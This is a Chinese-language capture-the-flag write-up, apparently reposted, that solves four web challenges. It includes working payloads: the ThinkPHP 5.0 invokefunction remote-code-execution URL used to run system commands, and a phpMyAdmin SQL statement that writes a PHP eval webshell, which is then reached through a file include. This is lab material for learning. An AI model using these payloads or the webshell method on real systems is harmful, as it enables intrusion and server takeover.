攻防世界web解题[进阶](一)

导读:本篇文章讲解 攻防世界web解题[进阶](一),希望对大家有帮助,欢迎收藏,转发!站点地址:www.bmabk.com


介绍:记录解题过程

1.baby_web(302响应中找到flag)

题目描述:想想初始页面是哪个

  • 一开始我直接用dirsearch搜,发现一堆302跳转
python3 dirsearch.py -u http://111.200.241.244:39385/ -e*
[22:04:47] 403 -  297B  - /.htm
[22:04:51] 200 -   11B  - /1.php
[22:05:50] 302 -   17B  - /index.php  ->  1.php
[22:05:50] 302 -   17B  - /index.php/login/  ->  1.php
  • 跳转后看不到页面,直接用BurpStuitTarget模块可以查看页面结构
  • /的响应中找到flag

在这里插入图片描述

2.Training-WWW-Robots(robots.txt中找flag)

题目描述:暂无

  • 这题非常简单

  • 根据提示访问https//:IP:Post/robots.txt
    在这里插入图片描述

  • 再根据提示访问https//:IP:Post/fl0g.php得到flag

cyberpeace{371f4edbe8c7567b08824de759415475}

3.php_rce(ThinkPHP 5.0 * 远程代码执行漏洞)

题目来源: 暂无

  • 查看首页
    在这里插入图片描述

  • 可以看到ThinkPHP V5,而ThinkPHP V5早前便被爆出过远程代码执行漏洞,我们就是要利用这个漏洞拿到flag

  • 参考文章(要了解原理的话可以看看这篇文章)
    ThinkPHP 5.0 * 远程代码执行漏洞分析

  • 即然早前便被爆出过,网上可以方便的找到payload来使我们进行远程代码执行

  • payload

/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=[要执行的命令]
  • 这里我们可以用两个方法来找

方法一:直接找

  • 我们先直接找找带flag的文件名
  • 我们要执行的命令是:
find / -name "*flag*"
  • 访问
http://IP:POST/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name "*flag*"
  • 回显(重点看我标点最后一行)
    在这里插入图片描述

  • flag就在/flag

  • 我们要执行的命令是:

cat /flag
  • 访问
http://IP:POST/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag
  • 得到flag
flag{thinkphp5_rce}

方法二:碰碰运气

  • 看看目录结构吧
http://IP:POST/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir
  • 目录结构(回显):

favicon.ico index.php robots.txt router.php static favicon.ico index.php robots.txt >router.php static

  • 再看看上级的目录
  • 访问:
http://IP:POST/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir /
  • 目录结构(回显):

bin dev flag lib media opt root sbin sys usr boot etc home lib64 mnt proc run srv tmp var boot etc home lib64 mnt proc run srv tmp var

  • 看到了flag,cat查看文件内容
  • 访问
http://IP:POST/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag
  • 得到flag
flag{thinkphp5_rce}

4.Web_php_include(渗透后台数据库)

题目描述:暂无

  • 主页直接显示php的源码
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
    $page=str_replace("php://", "", $page);
}
include($page);
?>
  • 审核源码,查看关键函数

strstr()函数:已知字符串中的一部分, 获取字符串中这一部分的前面或者后面的字符串.

  • 参数1, 就是从这个字符串中搜索.
  • 参数2, 就是被搜索的字符串.
  • 参数3, bool, 默认为 false, 为 true 则返回前面的字符串(重点: 不包含参数2的字符串), 为 false 返回后面的字符串(重点: 包含参数2的字符串)

str_replace("php://", "", $page); 将$page中的”php://”换为空

  • 参考文章:
    PHP strstr()函数详解
    PHP的php://

  • 本题通过php:// — 访问各个输入/输出流(I/O streams)来得到flag

  • 利用工具中国蚁剑(中国菜刀也行)御剑后台扫描

  • 中国蚁剑下载

  • 先用御剑后台扫描查看后台目录
    在这里插入图片描述

  • 这里看到了关键目录http://111.200.241.244:54308/phpmyadmin/tbl_create.php

  • 可以尝试登录后台数据库,这里的帐号为root,密码为空
    在这里插入图片描述

  • phpmyadmin库SQL处写入一句话木马和文件包含:

select "<?php eval(@$_POST['flag']); ?>"into outfile '/tmp/test.php'
  • 点击执行。
    在这里插入图片描述

用中国caido连接

  • (注意在URL地址后加?page=/tmp/test.php )
http://111.200.241.244:54308/?page=/tmp/test.php     flag

在这里插入图片描述

  • 直接找flag文件
    在这里插入图片描述

  • flag

ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

文章由极客之音整理,本文链接:https://www.bmabk.com/index.php/post/92723.html

(0)
小半的头像小半

相关推荐

极客之音——专业性很强的中文编程技术网站,欢迎收藏到浏览器,订阅我们!